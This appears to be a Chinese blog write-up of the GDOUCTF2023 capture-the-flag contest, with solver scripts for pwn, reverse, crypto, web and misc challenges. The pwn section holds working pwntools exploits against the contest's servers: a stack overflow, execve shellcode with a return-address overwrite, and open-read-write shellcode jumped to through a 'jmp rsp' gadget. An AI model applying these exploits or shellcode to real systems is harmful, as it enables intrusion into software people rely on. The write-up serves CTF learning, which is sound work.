GDOUCTF2023 Writeup

比赛的时候踩大坑了 & 还得多学啊 & 被带飞了
在这里插入图片描述

PWN

EASY PWN

能往 s1 写入任意长 payload,覆盖下面的 v5 为一个非零的数就有 flag。

exp 如下:

from pwn import *
#p = process('./easypwn')
p = remote('node5.anna.nssctf.cn',28206)
context.log_level = 'debug'

def breakpoint():
	gdb.attach(p)
	pause()

#sh=remote('node4.buuoj.cn',26013)
payload = 'a'*(0x1f - 4 + 1)
#breakpoint()
p.sendline(payload)
p.interactive()

Shellcode

写进一段 shellcode 后跳去执行。

exp 如下:

from pwn import*
#p = process('./pwn')
p = remote('node6.anna.nssctf.cn',28557)
context.log_level = 'debug'
context.arch = 'amd64'

def breakpoint():
	gdb.attach(p)
	pause()

shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

back = 0x6010A0

#breakpoint()
p.sendlineafter('Please.\n',shellcode)

payload='a'*(0xa+0x8) + p64(back)
p.sendlineafter('Let\'s start!\n',payload)
p.interactive()

真男人下120层

逆下代码就知道程序的随机数是可预测的。

直接按着题目伪代码写了相应生成随机数的 c 程序… 在 shell 那用 nc 连远端,同时执行该程序(手速快点,保证时间戳相同…),然后将程序的输出复制粘贴到 shell 处就好。

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    time_t v3 = time(NULL);
    srand((unsigned int)v3);
    int v4 = rand();
    srand(v4 % 3 - 1522127470);
    for (int i = 1; i <= 120; i++) {
        printf("%d\n", rand() % 4 + 1);
    }
    return 0;
}

RANDOM

程序禁了 execve,没开 NX,有 ‘jmp rsp’ 这么一个 gadget,所以往栈上写的 shellcode 是可执行且能利用到的。

前面就直接爆破了,反正每次执行都有 101 次循环。进入到 vulnerable() 函数后发送我们的 payload。

我只打了一次,把握好 shellcode 的长度就行,大致结构是 shellcode1 + ret + shellcode2

ret 控制程序返回地址,自然是写 ‘jmp rsp’ 的地址了。shellcode1 最长能写 40 字节,在这布置 orw。shellcode2 最长能写 16 字节,用来 抬高栈顶指针 + 跳转执行 orw

exp 如下(这里的 orw_shellcode 只用了 35 字节):

from pwn import *
p = process('./RANDOM')
#p = remote('node6.anna.nssctf.cn',28510)
elf = ELF('./RANDOM')
context.log_level = 'debug'
context.arch='amd64'

def breakpoint():
	gdb.attach(p)
	pause()

# b *0x400942
# breakpoint()
while True:
    p.sendlineafter('num:\n','1')
    response = p.recvline().decode()
    if response == "good guys\n":
        log.info("sucess!")
        break

jmp_rsp = 0x40094E

shellcode1 = asm('''
    push 0x67616c66 
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall

    mov edi,eax
    mov rsi,rsp
    sub rsi,50
    xor eax,eax
    syscall

    xor edi,2		#mov dil,1
    mov eax,edi		#mov al,1
    syscall
    ''')

shellcode2 = asm('''
    sub rsp,48
    jmp rsp
    ''')

payload = shellcode1.rjust(40,'\x90')
payload += p64(jmp_rsp)
payload += shellcode2
print(len(shellcode1))

# pause()
p.send(payload)

p.interactive()

记录下。刚开始打远端死活读不到 flag 是因为缺少了:

sub rsi,50

(可以删掉上述 exp 中的 sub rsi,50 后试着调一下…)这段 shellcode 在实现 read 的时候是直接将 flag 往栈顶写的,这就导致了 假如 flag过长 的话,会将我写入的 shellcode1 覆盖掉很大一部分,然后后面就执行不到 write 了… 狠狠踩坑。

记录一条 能修改rdx部分数据的 两个字节的指令,要控制 rdx 的值来 read/write 大量数据的时候能用上。

mov dh,0x100 >> 8

REVERSE

Check_Your_Luck

by V5nDett4
打开 cpp 文件后可以分析出需要解一个五元一次方程,在网上找一个在线解的网站即可。
在这里插入图片描述

TEA

by Jasonxjy
魔改tea

#include <stdio.h>
#include <stdint.h>

int main()
{
    unsigned int const k[4] = { 2233,4455,6677,8899 };
    unsigned int r = 32;
    unsigned int const key[4] = { 2233,4455,6677,8899 };
    uint32_t flag[10];
    uint32_t v[10] = {0x1a800bda,0xf7a6219b,0x491811d8,0xf2013328,0x156c365b,0x3c6eaad8,0x84d4bf28,0xf11a7ee7,0x3313b252,0xdd9fe279};
    int j = 0, n = 0;
    for (int j = 8; j >= 0; j--) {
        unsigned int i = 0;
        unsigned int delta = 256256256, sum = delta * (32+j);
        n = j + 1;
        do {
            i++;
            v[n] -= ((((v[j] << 4) ^ (v[j] >> 5)) + v[j]) ^ ((key[(sum >> 11) & 3]) + sum));            v[j] -= (((key[sum & 3] + sum) ^ ((v[n] << 4) ^ (v[n] >> 5)) + v[n]) ^ sum);
            sum -= delta;
        } while (i <= 32);
    }
    printf("解密后的数据:0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x\n", v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]);
    for (int i = 0; i < 10; i++)
    {
        for (int j = 3; j>=0; j--)
        {
            printf("%c", (v[i] >> (j * 8)) & 0xFF);
        }
    }
    return 0;
}

doublegame

by Jasonxjy
纯纯迷宫题,手撸即可

首先找到flag的格式,然后搞迷宫
在这里插入图片描述
在这里插入图片描述

特别注意一下迷宫修改了一下

提取出来然后走迷宫就可以了

md5小写路径+13376013

L!s!

by Jasonxjy
Ida分别打开文件再关闭创建i64文件,分析patched文件,然后用bindiff进行分析
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

CRYPTO

Absolute_Baby_Encrytpion

by Aer0Lite
下载后分析得知,加密脚本和加密后的字符串已给出,只要将加密脚本逆回去解出来原来加密前的字符串即可。于是将加密脚本中的 case 与encryptedString.concat 后括号里跟的内容对转即可,再次运行此逆转解密脚本将加密后的字符串输入就去即可输出本题 flag

babylua

by Jasonxjy
这个题给的是两个lua的代码,md5那个其实就是实现md5所以可以不用细看了,前面的是加密过程,可以了解到先是随机生成了四个字符,然后将其md5编码两次,将得到的十六进制一个字符个字符的与flag做加法,给了我们前十位,这就意味着我们可以通过爆破的方式将md5数字还原,然后还原flag即可

from hashlib import md5
key='b5e62abe84'
s=[200 ,161 ,198 ,157 ,173 ,169 ,199 ,150 ,105 ,163 ,193 ,175 ,173 ,194 ,135 ,131 ,135 ,225]
flag=''
# for i in range(65,123):
#     for j in range(65,123):
#         for k in range(65,123):
#             for l in range(65,123):
#                 o=chr(i)+chr(j)+chr(k)+chr(l)
#                 a=md5(o.encode()).hexdigest()
#                 b=md5(a.encode()).hexdigest()
#                 if(b[:10]==key):
#                     print(b)
key0='b5e62abe84bc8afbfd97c91a15aa0867'
for i in range(len(s)):
    flag+=chr(s[i]-ord(key0[i]))
print(flag)
#flag{He11o_Lua!!!}

Magic of Encoding

by Jasonxjy
这个题呢其实很简单,只不过做起来很复杂,这一长串密文里面有很多干扰字符,观察一下发现是循环的,首先去除干扰字符,然后发现剩余的是一个压缩包格式的东西,这部分同样存在循环,只留下一组之后解base64就是一个压缩包了,打开压缩包里面就是flag,因为是手动去除的这里就贴个去除后的base64以及flag

UEsDBBQACAAIAAZUilYAAAAAAAAAACUAAAAVACAATWFnaWMgb2YgRW5jb2RpbmcudHh0VVQNAAdNkTNkTpEzZE2RM2R1eAsAAQT1AQAABBQAAABLy0lMr84wKDCOrzQojc/JzDZOiS/JSI33NUnPTI43L8pMzq7lAgBQSwcIjmX6WicAAAAlAAAAUEsBAhQDFAAIAAgABlSKVo5l+lonAAAAJQAAABUAIAAAAAAAAAAAAKSBAAAAAE1hZ2ljIG9mIEVuY29kaW5nLnR4dFVUDQAHTZEzZE6RM2RNkTNkdXgLAAEE9QEAAAQUAAAAUEsFBgAAAAABAAEAYwAAAIoAAAAAAA==
flag:flag{h0p3_y0u_lik3d_the_M4gic_7rick}

Math Problem

by Jasonxjy
这个题可以构造copper还原x,然后按照圆锥曲线公式去得到k倍的p,和n做一个gcd就能得到p了。然后解一下rsa即可得到flag,要注意的是需要调一下copper的参数才能解出x

from Crypto.Util.number import *
e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854
R.<x> = PolynomialRing(Zmod(n))
f=x**3+a*x+b-y**2
f=f.monic()
x0 = f.small_roots(X=2^64, beta=0.4,epsilon=0.01)
print(x0)
x=9757458594430450711
kp=pow(y,2)-b-a*x-x**3
import gmpy2
p=gmpy2.gcd(kp,n)
q=n//p
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
#flag{c4edd6d0-d1b3-cbda-95e3-a323edc35be5}

WEB

hate eat snake

by Aer0Lite
此题存在 bug,在分析完 snake.js 源代码后试玩了几次游戏,最后一次游戏撞墙之后再按空格欲重新开始便直接弹框得到了 flag,后续思考正确解法应该是放在本地运行,修改特定函数即可。

受不了一点

by Aer0Lite
第一部分传数组即可绕过,cookie 头在 hackbar 直接添加 cookie=j0k3r 即可,对于 aaa 和 bbb 利用 php 弱类型比较分别传一个整型和字符串进去即可(字符串弱类型比较时只会截取前面的部分),最后的两个 POST 和 GET 的 flag 直接传空值进去即可。
在这里插入图片描述

EZ WEB

by Aer0Lite
F12 查看网页源代码可发现 ‘/src’ 提示,访问后得到 app.py 下载源码,分析 app.py 得知用 PUT 方法访问那一长串后缀即可(具体多少忘记了),在浏览器此网址下 F12 打开调试工具,在网络分析出编辑并重发此包使其访问方式为 PUT,再次查看源码即可得到 flag。

MISC

Matryoshka

by V5nDett4
纯爆破,脚本如下:

import zipfile

def evaluate_expression(expression):
    
    tokens = expression.split()

  
    result = int(tokens[0])

      for i in range(1, len(tokens), 2):
        operator = tokens[i]
        operand = int(tokens[i + 1])

  
        if operator == '+':
            result += operand
        elif operator == '-':
            result -= operand
        elif operator == '*':
            result *= operand
        elif operator == '/':
            result /= operand
        elif operator == '%':
            result %= operand
    return result

for i in range(1,1001):

    file_path = "password{}.txt".format(1001-i)
    with open(file_path, "r") as file:
        passwd_content = file.read()
        passwd_content_ec=passwd_content.replace('zero','0')
        passwd_content_ec=passwd_content_ec.replace('one','1')
        passwd_content_ec=passwd_content_ec.replace('two','2')
        passwd_content_ec=passwd_content_ec.replace('three','3')
        passwd_content_ec=passwd_content_ec.replace('four','4')
        passwd_content_ec=passwd_content_ec.replace('five','5')
        passwd_content_ec=passwd_content_ec.replace('six','6')
        passwd_content_ec=passwd_content_ec.replace('seven','7')
        passwd_content_ec=passwd_content_ec.replace('eight','8')
        passwd_content_ec=passwd_content_ec.replace('nine','9')
        passwd_content_ec=passwd_content_ec.replace('plus',' + ')
        passwd_content_ec=passwd_content_ec.replace('times',' * ')
        passwd_content_ec=passwd_content_ec.replace('minus',' - ')
        passwd_content_ec=passwd_content_ec.replace('mod',' % ')
        passwd_content_ec=passwd_content_ec.replace('+ 0',' + ')
        passwd_content_ec=passwd_content_ec.replace('* 0',' * ')
        passwd_content_ec=passwd_content_ec.replace('- 0',' - ')
        passwd_content_ec=passwd_content_ec.replace('% 0',' % ')
    
        
        passwd_content=evaluate_expression(passwd_content_ec)
        passwd_content=str(passwd_content).replace('-','')
        passwd_content=int(passwd_content)
    
    zip_path = "Matryoshka{}.zip".format(1001-i)
    password1 = passwd_content
    password1 = str(password1)
    zfile = zipfile.ZipFile(zip_path, "r")
zfile.extractall(path='.',pwd=password1.encode('utf-8'))

在跑完20多分钟后才出,脚本老是报错。
在这里插入图片描述

在这里插入图片描述

有一些坑的地方,首先是他的密码出来后要运算,运算顺序是从左往右,无视算式优先级规则,所以需要编一个规则来符合。
第二是出现的结果也就是密码会出现负数,需要替换结果后再提交。

PS:python 的缩进害死人。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值